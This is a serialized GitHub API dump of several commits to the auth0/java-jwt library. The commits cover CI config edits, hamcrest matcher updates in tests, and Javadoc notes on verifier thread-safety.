-      - run:
-          name: Run vulnerabilities tests (Semgrep)
-          command: |
-            semgrep-agent --baseline-ref master --publish-token $SEMGREP_TOKEN
+  #  api-diff:
+  #    docker:
+  #      - image: openjdk:11.0-jdk
+  #    steps:
+  #      - checkout-and-build
+  #      - run-api-diff
+  #    environment:
+  #      GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
+  #      _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
+  #      TERM: dumb
 
 workflows:
   build-and-test:
     jobs:
       - build
-      - semgrep:
-          context:
-            - semgrep-env
 #  api-diff:
 #    jobs:
 #      - api-diffuau(69a90cf0a629d73f4edcf187b6c696516e129722}(sha(69a90cf0a629d73f4edcf187b6c696516e129722node_idEC_kwDOAQtL0doAKDY5YTkwY2YwYTYyOWQ3M2Y0ZWRjZjE4N2I2YzY5NjUxNmUxMjk3MjIcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-03-11T15:41:55Zu	committer}(jW  
Poovamraj T TjW  poovamraj@gmail.comjW  2022-03-16T11:29:25ZumessageUpdate test dependencies (#539)tree}(jW  (91582d7b936c6e6f249ba696684cd03229ad7042url^https://api.github.com/repos/auth0/java-jwt/git/trees/91582d7b936c6e6f249ba696684cd03229ad7042ujW  `https://api.github.com/repos/auth0/java-jwt/git/commits/69a90cf0a629d73f4edcf187b6c696516e129722
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujW  \https://api.github.com/repos/auth0/java-jwt/commits/69a90cf0a629d73f4edcf187b6c696516e129722html_urlQhttps://github.com/auth0/java-jwt/commit/69a90cf0a629d73f4edcf187b6c696516e129722comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/69a90cf0a629d73f4edcf187b6c696516e129722/commentsjW  }(login
jimmyjamesidJ7 jW  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jW  'https://api.github.com/users/jimmyjamesjW  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujW  }(jW  	poovamrajjW  J jW  MDQ6VXNlcjE1OTEwNDI1jW  4https://avatars.githubusercontent.com/u/15910425?v=4jW  h3jW  &https://api.github.com/users/poovamrajjW  https://github.com/poovamrajjW  0https://api.github.com/users/poovamraj/followersjW  =https://api.github.com/users/poovamraj/following{/other_user}jW  6https://api.github.com/users/poovamraj/gists{/gist_id}jW  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j X  4https://api.github.com/users/poovamraj/subscriptionsjX  +https://api.github.com/users/poovamraj/orgsjX  ,https://api.github.com/users/poovamraj/reposjX  7https://api.github.com/users/poovamraj/events{/privacy}jX  6https://api.github.com/users/poovamraj/received_eventsj
X  UserjX  uparents]}(jW  (69691563e76f483d97d93aad04216485e82abda7jW  \https://api.github.com/repos/auth0/java-jwt/commits/69691563e76f483d97d93aad04216485e82abda7jW  Qhttps://github.com/auth0/java-jwt/commit/69691563e76f483d97d93aad04216485e82abda7uastats}(totalK	additionsK
	deletionsK
ufiles](}(jW  (30b2ada8b2e276a0b003fd502ec503fdaac74017filenamelib/build.gradlestatusmodifiedj&X  Kj'X  KchangesKblob_urlbhttps://github.com/auth0/java-jwt/blob/69a90cf0a629d73f4edcf187b6c696516e129722/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/69a90cf0a629d73f4edcf187b6c696516e129722/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=69a90cf0a629d73f4edcf187b6c696516e129722patchX  @@ -92,7 +92,7 @@ task compileModuleInfoJava(type: JavaCompile) {
 }
 
 compileTestJava {
-    options.compilerArgs = ['--release', "8"]
+    options.compilerArgs = ['--release', "8", "-Xlint:deprecation"]
 }
 
 def testJava8 = tasks.register('testJava8', Test) {u}(jW  (626bc6fd854c9189094fa6f1f98aa025cf08f938j,X  3lib/src/test/java/com/auth0/jwt/JWTDecoderTest.javaj.X  modifiedj&X  Kj'X  Kj0X  Kj1X  https://github.com/auth0/java-jwt/blob/69a90cf0a629d73f4edcf187b6c696516e129722/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj3X  https://github.com/auth0/java-jwt/raw/69a90cf0a629d73f4edcf187b6c696516e129722/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj5X  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.java?ref=69a90cf0a629d73f4edcf187b6c696516e129722j7X  X  @@ -5,7 +5,7 @@
 import com.auth0.jwt.interfaces.Claim;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import org.hamcrest.collection.IsCollectionWithSize;
-import org.hamcrest.core.IsCollectionContaining;
+import org.hamcrest.core.IsIterableContaining;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
@@ -142,15 +142,15 @@ public void shouldGetArrayAudience() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOlsiSG9wZSIsIlRyYXZpcyIsIlNvbG9tb24iXX0.Tm4W8WnfPjlmHSmKFakdij0on2rWPETpoM7Sh0u6-S4");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getAudience(), is(IsCollectionWithSize.hasSize(3)));
-        assertThat(jwt.getAudience(), is(IsCollectionContaining.hasItems("Hope", "Travis", "Solomon")));
+        assertThat(jwt.getAudience(), is(IsIterableContaining.hasItems("Hope", "Travis", "Solomon")));
     }
 
     @Test
     public void shouldGetStringAudience() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJKYWNrIFJleWVzIn0.a4I9BBhPt1OB1GW67g2P1bEHgi6zgOjGUL4LvhE9Dgc");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getAudience(), is(IsCollectionWithSize.hasSize(1)));
-        assertThat(jwt.getAudience(), is(IsCollectionContaining.hasItems("Jack Reyes")));
+        assertThat(jwt.getAudience(), is(IsIterableContaining.hasItems("Jack Reyes")));
     }
 
     @Testu}(jW  (35ad4971bdd4b65f38af60c66d830852d20c9e6bj,X  ,lib/src/test/java/com/auth0/jwt/JWTTest.javaj.X  modifiedj&X  Kj'X  Kj0X  Kj1X  https://github.com/auth0/java-jwt/blob/69a90cf0a629d73f4edcf187b6c696516e129722/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj3X  https://github.com/auth0/java-jwt/raw/69a90cf0a629d73f4edcf187b6c696516e129722/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj5X  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.java?ref=69a90cf0a629d73f4edcf187b6c696516e129722j7X  Xz  @@ -3,7 +3,7 @@
 import com.auth0.jwt.algorithms.Algorithm;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import org.hamcrest.collection.IsCollectionWithSize;
-import org.hamcrest.core.IsCollectionContaining;
+import org.hamcrest.core.IsIterableContaining;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
@@ -256,7 +256,7 @@ public void shouldGetArrayAudience() {
 
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getAudience(), is(IsCollectionWithSize.hasSize(3)));
-        assertThat(jwt.getAudience(), is(IsCollectionContaining.hasItems("Hope", "Travis", "Solomon")));
+        assertThat(jwt.getAudience(), is(IsIterableContaining.hasItems("Hope", "Travis", "Solomon")));
     }
 
     @Test
@@ -268,7 +268,7 @@ public void shouldGetStringAudience() {
 
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getAudience(), is(IsCollectionWithSize.hasSize(1)));
-        assertThat(jwt.getAudience(), is(IsCollectionContaining.hasItems("Jack Reyes")));
+        assertThat(jwt.getAudience(), is(IsIterableContaining.hasItems("Jack Reyes")));
     }
 
     @Testu}(jW  (2d80bed9fb798b68c9c6497e4ea8d766fb157038j,X  Alib/src/test/java/com/auth0/jwt/impl/PayloadDeserializerTest.javaj.X  modifiedj&X  Kj'X  Kj0X  Kj1X  https://github.com/auth0/java-jwt/blob/69a90cf0a629d73f4edcf187b6c696516e129722/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javaj3X  https://github.com/auth0/java-jwt/raw/69a90cf0a629d73f4edcf187b6c696516e129722/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javaj5X  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.java?ref=69a90cf0a629d73f4edcf187b6c696516e129722j7X  X`  @@ -12,7 +12,7 @@
 import com.fasterxml.jackson.databind.node.*;
 import org.hamcrest.collection.IsCollectionWithSize;
 import org.hamcrest.collection.IsEmptyCollection;
-import org.hamcrest.core.IsCollectionContaining;
+import org.hamcrest.core.IsIterableContaining;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
@@ -93,7 +93,7 @@ public void shouldNotRemoveKnownPublicClaimsFromTree() throws Exception {
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getIssuer(), is("auth0"));
         assertThat(payload.getSubject(), is("emails"));
-        assertThat(payload.getAudience(), is(IsCollectionContaining.hasItem("users")));
+        assertThat(payload.getAudience(), is(IsIterableContaining.hasItem("users")));
         assertThat(payload.getIssuedAt().getTime(), is(10101010L * 1000));
         assertThat(payload.getExpiresAt().getTime(), is(11111111L * 1000));
         assertThat(payload.getNotBefore().getTime(), is(10101011L * 1000));
@@ -126,7 +126,7 @@ public void shouldGetStringArrayWhenParsingArrayNode() {
         List<String> values = deserializer.getStringOrArray(tree, "key");
         assertThat(values, is(notNullValue()));
         assertThat(values, is(IsCollectionWithSize.hasSize(2)));
-        assertThat(values, is(IsCollectionContaining.hasItems("one", "two")));
+        assertThat(values, is(IsIterableContaining.hasItems("one", "two")));
     }
 
     @Test
@@ -138,7 +138,7 @@ public void shouldGetStringArrayWhenParsingTextNode() {
         List<String> values = deserializer.getStringOrArray(tree, "key");
         assertThat(values, is(notNullValue()));
         assertThat(values, is(IsCollectionWithSize.hasSize(1)));
-        assertThat(values, is(IsCollectionContaining.hasItems("something")));
+        assertThat(values, is(IsIterableContaining.hasItems("something")));
     }
 
     @Testu}(jW  (9e2e6902d94473f82e8f4f7665a458e865802e21j,X  9lib/src/test/java/com/auth0/jwt/impl/PayloadImplTest.javaj.X  modifiedj&X  Kj'X  Kj0X  Kj1X  https://github.com/auth0/java-jwt/blob/69a90cf0a629d73f4edcf187b6c696516e129722/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.javaj3X  https://github.com/auth0/java-jwt/raw/69a90cf0a629d73f4edcf187b6c696516e129722/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.javaj5X  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.java?ref=69a90cf0a629d73f4edcf187b6c696516e129722j7X  X  @@ -6,7 +6,7 @@
 import com.fasterxml.jackson.databind.ObjectReader;
 import com.fasterxml.jackson.databind.node.TextNode;
 import org.hamcrest.collection.IsCollectionWithSize;
-import org.hamcrest.core.IsCollectionContaining;
+import org.hamcrest.core.IsIterableContaining;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
@@ -86,7 +86,7 @@ public void shouldGetAudience() {
         assertThat(payload, is(notNullValue()));
 
         assertThat(payload.getAudience(), is(IsCollectionWithSize.hasSize(1)));
-        assertThat(payload.getAudience(), is(IsCollectionContaining.hasItems("audience")));
+        assertThat(payload.getAudience(), is(IsIterableContaining.hasItems("audience")));
     }
 
     @Testueu(6cc36f61345300e363546dbb46a919651df2d4bc}(sha(6cc36f61345300e363546dbb46a919651df2d4bcnode_idEC_kwDOAQtL0doAKDZjYzM2ZjYxMzQ1MzAwZTM2MzU0NmRiYjQ2YTkxOTY1MWRmMmQ0YmMcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-08-30T01:46:26Zu	committer}(jcX  GitHubjeX  noreply@github.comjgX  2022-08-30T01:46:26Zumessage1Merge branch 'master' into making-constants-finaltree}(j[X  (0c85b2ea1de521cdaafe642e19ed1b6d177d23b2url^https://api.github.com/repos/auth0/java-jwt/git/trees/0c85b2ea1de521cdaafe642e19ed1b6d177d23b2ujsX  `https://api.github.com/repos/auth0/java-jwt/git/commits/6cc36f61345300e363546dbb46a919651df2d4bc
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjDWvyCRBK7hj4Ov3rIwAAaycIALAtshLL7H5a+nXRUYjMuRPD
vM+0zeCaV9I0ZEr0/rnOKgYtMBnfK8evRAz5HiUghvZLdSrAE7TpT7LGgZV1QWgr
gzDuifDsyO3kBDCMtCVv/qDPWyyNtYpqKct/U8s8AazNlyG/tsuXzbfA9aYoNxRp
Kg6lbioYTRRKV2277GtmAp/oWitceTnKpkV+fr59AZHqbc54DaP0CQJ7ppF5mdgs
NykWBcbC1O6FWjvniO2RqBogKBBBZj05hpeuVxZ4ZnFWei3jUdaaDFJTGL9QUVAL
o4UzT9SuytqK1gB0U7ThM8oL+rzzmvSu8eioEW7iD6xH/5m/DkSQO5x8Nhbp5XI=
=1dIw
-----END PGP SIGNATURE-----
payloadX5  tree 0c85b2ea1de521cdaafe642e19ed1b6d177d23b2
parent c36ec6ff80c0d62668a5ae726f9198d3ca587a17
parent 46d022a49dc35b8dd4b75b9ac48adc1844e110ee
author Jim Anderson <jim.anderson@auth0.com> 1661823986 -0500
committer GitHub <noreply@github.com> 1661823986 -0500

Merge branch 'master' into making-constants-finaluujsX  \https://api.github.com/repos/auth0/java-jwt/commits/6cc36f61345300e363546dbb46a919651df2d4bchtml_urlQhttps://github.com/auth0/java-jwt/commit/6cc36f61345300e363546dbb46a919651df2d4bccomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/6cc36f61345300e363546dbb46a919651df2d4bc/commentsjaX  }(login
jimmyjamesidJ7 j]X  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jsX  'https://api.github.com/users/jimmyjamesjX  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujiX  }(jX  web-flowjX  J/j]X  MDQ6VXNlcjE5ODY0NDQ3jX  4https://avatars.githubusercontent.com/u/19864447?v=4jX  h3jsX  %https://api.github.com/users/web-flowjX  https://github.com/web-flowjX  /https://api.github.com/users/web-flow/followersjX  <https://api.github.com/users/web-flow/following{/other_user}jX  5https://api.github.com/users/web-flow/gists{/gist_id}jX  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jX  3https://api.github.com/users/web-flow/subscriptionsjX  *https://api.github.com/users/web-flow/orgsjX  +https://api.github.com/users/web-flow/reposjX  6https://api.github.com/users/web-flow/events{/privacy}jX  5https://api.github.com/users/web-flow/received_eventsjX  UserjX  uparents](}(j[X  (c36ec6ff80c0d62668a5ae726f9198d3ca587a17jsX  \https://api.github.com/repos/auth0/java-jwt/commits/c36ec6ff80c0d62668a5ae726f9198d3ca587a17jX  Qhttps://github.com/auth0/java-jwt/commit/c36ec6ff80c0d62668a5ae726f9198d3ca587a17u}(j[X  (46d022a49dc35b8dd4b75b9ac48adc1844e110eejsX  \https://api.github.com/repos/auth0/java-jwt/commits/46d022a49dc35b8dd4b75b9ac48adc1844e110eejX  Qhttps://github.com/auth0/java-jwt/commit/46d022a49dc35b8dd4b75b9ac48adc1844e110eeuestats}(totalK	additionsK	deletionsKufiles](}(j[X  (07c86a4c59c91e22c3b4cd56aac8f0275042e784filename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedjX  KjX  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/6cc36f61345300e363546dbb46a919651df2d4bc/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/6cc36f61345300e363546dbb46a919651df2d4bc/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=6cc36f61345300e363546dbb46a919651df2d4bcpatchX  @@ -46,7 +46,11 @@ static Verification init(Algorithm algorithm) throws IllegalArgumentException {
     }
 
     /**
-     * {@link Verification} implementation that accepts all the expected Claim values for verification.
+     * {@link Verification} implementation that accepts all the expected Claim values for verification, and
+     * builds a {@link com.auth0.jwt.interfaces.JWTVerifier} used to verify a JWT's signature and expected claims.
+     *
+     * Note that this class is <strong>not</strong> thread-safe. Calling {@link #build()} returns an instance of
+     * {@link com.auth0.jwt.interfaces.JWTVerifier} which can be reused.
      */
     public static class BaseVerification implements Verification {
         private final Algorithm algorithm;u}(j[X  (2756ddd88142eff2aa756aad6bc78facd09c3c21jX  ;lib/src/main/java/com/auth0/jwt/interfaces/JWTVerifier.javajX  modifiedjX  K
jX  KjX  KjX  https://github.com/auth0/java-jwt/blob/6cc36f61345300e363546dbb46a919651df2d4bc/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javajX  https://github.com/auth0/java-jwt/raw/6cc36f61345300e363546dbb46a919651df2d4bc/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javajX  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.java?ref=6cc36f61345300e363546dbb46a919651df2d4bcjX  XO  @@ -4,7 +4,19 @@
 
 
 /**
- * Used to verify the JWT for its signature and claims.
+ * Used to verify the JWT for its signature and claims. Implementations must be thread-safe. Instances are created
+ * using {@link Verification}.
+ *
+ * <pre>
+ * try {
+ *      JWTVerifier verifier = JWTVerifier.init(Algorithm.RSA256(publicKey, privateKey)
+ *          .withIssuer("auth0")
+ *          .build();
+ *      DecodedJWT jwt = verifier.verify("token");
+ * } catch (JWTVerificationException e) {
+ *      // invalid signature or claims
+ * }
+ * </pre>
  */
 public interface JWTVerifier {
 u}(j[X  (b4adcf5c6fd64b478abb9110c29508819a5236eajX  <lib/src/main/java/com/auth0/jwt/interfaces/Verification.javajX  modifiedjX  KjX  KjX  KjX  https://github.com/auth0/java-jwt/blob/6cc36f61345300e363546dbb46a919651df2d4bc/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javajX  https://github.com/auth0/java-jwt/raw/6cc36f61345300e363546dbb46a919651df2d4bc/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javajX  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.java?ref=6cc36f61345300e363546dbb46a919651df2d4bcjX  X  @@ -7,7 +7,9 @@
 import java.util.function.BiPredicate;
 
 /**
- * Constructs and holds the checks required for a JWT to be considered valid.
+ * Constructs and holds the checks required for a JWT to be considered valid. Note that implementations are
+ * <strong>not</strong> thread-safe. Once built by calling {@link #build()}, the resulting
+ * {@link com.auth0.jwt.interfaces.JWTVerifier} is thread-safe.
  */
 public interface Verification {
 ueu(e00da7285379d1b95ccf7a77f3031a0ce04780fa}(sha(e00da7285379d1b95ccf7a77f3031a0ce04780fanode_idEC_kwDOAQtL0doAKGUwMGRhNzI4NTM3OWQxYjk1Y2NmN2E3N2YzMDMxYTBjZTA0NzgwZmEcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-10-25T02:02:27Zu	committer}(jX  GitHubjX  noreply@github.comjX  2022-10-25T02:02:27Zumessage"Merge branch 'master' into patch-1tree}(jX  (7973aba4be59b842f4fe6444f1e2152baa8d023curl^https://api.github.com/repos/auth0/java-jwt/git/trees/7973aba4be59b842f4fe6444f1e2152baa8d023cujX  `https://api.github.com/repos/auth0/java-jwt/git/commits/e00da7285379d1b95ccf7a77f3031a0ce04780fa
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjV0OzCRBK7hj4Ov3rIwAAHqcIAJkgkcDMOBJcUD2Q3/hBVmQy
h0NT9Cj4Vrqkyy95EiqKafZ6B7MM+a1w2rnCv50lJN1Ftz8sMTNI+xjcMdPHrwVl
F+Tn9/9YmbiLV+LKT342NXwGmnchiphu/2OpHBVMtdtQsgVQAipnNjIqwZpfy1Dm
QMUoQCMxKTDntNOpja8IjKOWLsl4SvY+2Xt4pAdK7A/Ci2MYv7C+e0M/b0JqlSC3
eAgZ9kmSSKcorkLWFstkqeUdqhW1q62FzVEWZf7sdiZQjpafPqTxA95irMZKHoKs
+bCvbGPOHSYPpzO3xm8soz8bxbDT1eRwKpYlYZgVN6DVXDSdR3Ix44xdiuuCUYI=
=mG3O
-----END PGP SIGNATURE-----
payloadX&  tree 7973aba4be59b842f4fe6444f1e2152baa8d023c
parent 08f78c59d4eb71fc1ce667f7bf8b0121abd0599d
parent 3cff66f1a23b51ab85ae4d7c5c1837b90677c75e
author Jim Anderson <jim.anderson@auth0.com> 1666663347 -0500
committer GitHub <noreply@github.com> 1666663347 -0500

Merge branch 'master' into patch-1uujX  \https://api.github.com/repos/auth0/java-jwt/commits/e00da7285379d1b95ccf7a77f3031a0ce04780fahtml_urlQhttps://github.com/auth0/java-jwt/commit/e00da7285379d1b95ccf7a77f3031a0ce04780facomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/e00da7285379d1b95ccf7a77f3031a0ce04780fa/commentsjX  }(login
jimmyjamesidJ7 jX  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jX  'https://api.github.com/users/jimmyjamesjY  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujX  }(jY  web-flowjY  J/jX  MDQ6VXNlcjE5ODY0NDQ3jY  4https://avatars.githubusercontent.com/u/19864447?v=4jY  h3jX  %https://api.github.com/users/web-flowjY  https://github.com/web-flowjY  /https://api.github.com/users/web-flow/followersjY  <https://api.github.com/users/web-flow/following{/other_user}jY  5https://api.github.com/users/web-flow/gists{/gist_id}j Y  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j"Y  3https://api.github.com/users/web-flow/subscriptionsj$Y  *https://api.github.com/users/web-flow/orgsj&Y  +https://api.github.com/users/web-flow/reposj(Y  6https://api.github.com/users/web-flow/events{/privacy}j*Y  5https://api.github.com/users/web-flow/received_eventsj,Y  Userj.Y  uparents](}(jX  (08f78c59d4eb71fc1ce667f7bf8b0121abd0599djX  \https://api.github.com/repos/auth0/java-jwt/commits/08f78c59d4eb71fc1ce667f7bf8b0121abd0599djY  Qhttps://github.com/auth0/java-jwt/commit/08f78c59d4eb71fc1ce667f7bf8b0121abd0599du}(jX  (3cff66f1a23b51ab85ae4d7c5c1837b90677c75ejX  \https://api.github.com/repos/auth0/java-jwt/commits/3cff66f1a23b51ab85ae4d7c5c1837b90677c75ejY  Qhttps://github.com/auth0/java-jwt/commit/3cff66f1a23b51ab85ae4d7c5c1837b90677c75euestats}(totalK	additionsK	deletionsKufiles]}(jX  (6c87574b8777e248e453b80da47138df5fdba03efilename.circleci/config.ymlstatusmodifiedjLY  KjMY  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/e00da7285379d1b95ccf7a77f3031a0ce04780fa/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/e00da7285379d1b95ccf7a77f3031a0ce04780fa/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=e00da7285379d1b95ccf7a77f3031a0ce04780fapatch@@ -1,6 +1,6 @@
 version: 2.1
 orbs:
-  ship: auth0/ship@0.7.3
+  ship: auth0/ship@0
   codecov: codecov/codecov@3
 
 commands:uau(3135ba7893ea60882500fa509c6d98fe48a4f0f8}(sha(3135ba7893ea60882500fa509c6d98fe48a4f0f8node_idEC_kwDOAQtL0doAKDMxMzViYTc4OTNlYTYwODgyNTAwZmE1MDljNmQ5OGZlNDhhNGYwZjgcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-05-03T14:18:01Zu	committer}(jiY  
Poovamraj T TjkY  poovamraj@gmail.comjmY  2022-05-03T14:18:01Zumessage/Removed zero check since it is already verifiedtree}(jaY  (03aa080801392878bcd4f0687e297fd1f1aeb860url^https://api.github.com/repos/auth0/java-jwt/git/trees/03aa080801392878bcd4f0687e297fd1f1aeb860ujyY  `https://api.github.com/repos/auth0/java-jwt/git/commits/3135ba7893ea60882500fa509c6d98fe48a4f0f8
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujyY  \https://api.github.com/repos/auth0/java-jwt/commits/3135ba7893ea60882500fa509c6d98fe48a4f0f8html_urlQhttps://github.com/auth0/java-jwt/commit/3135ba7893ea60882500fa509c6d98fe48a4f0f8comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/3135ba7893ea60882500fa509c6d98fe48a4f0f8/commentsjgY  }(login	poovamrajidJ jcY  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jyY  &https://api.github.com/users/poovamrajjY  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujoY  }(jY  	poovamrajjY  J jcY  MDQ6VXNlcjE1OTEwNDI1jY  4https://avatars.githubusercontent.com/u/15910425?v=4jY  h3jyY  &https://api.github.com/users/poovamrajjY  https://github.com/poovamrajjY  0https://api.github.com/users/poovamraj/followersjY  =https://api.github.com/users/poovamraj/following{/other_user}jY  6https://api.github.com/users/poovamraj/gists{/gist_id}jY  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jY  4https://api.github.com/users/poovamraj/subscriptionsjY  +https://api.github.com/users/poovamraj/orgsjY  ,https://api.github.com/users/poovamraj/reposjY  7https://api.github.com/users/poovamraj/events{/privacy}jY  6https://api.github.com/users/poovamraj/received_eventsjY  UserjY  uparents]}(jaY  (69dae3eba9235a45e01ab588d5027b73aef918ccjyY  \https://api.github.com/repos/auth0/java-jwt/commits/69dae3eba9235a45e01ab588d5027b73aef918ccjY  Qhttps://github.com/auth0/java-jwt/commit/69dae3eba9235a45e01ab588d5027b73aef918ccuastats}(totalK	additionsK 	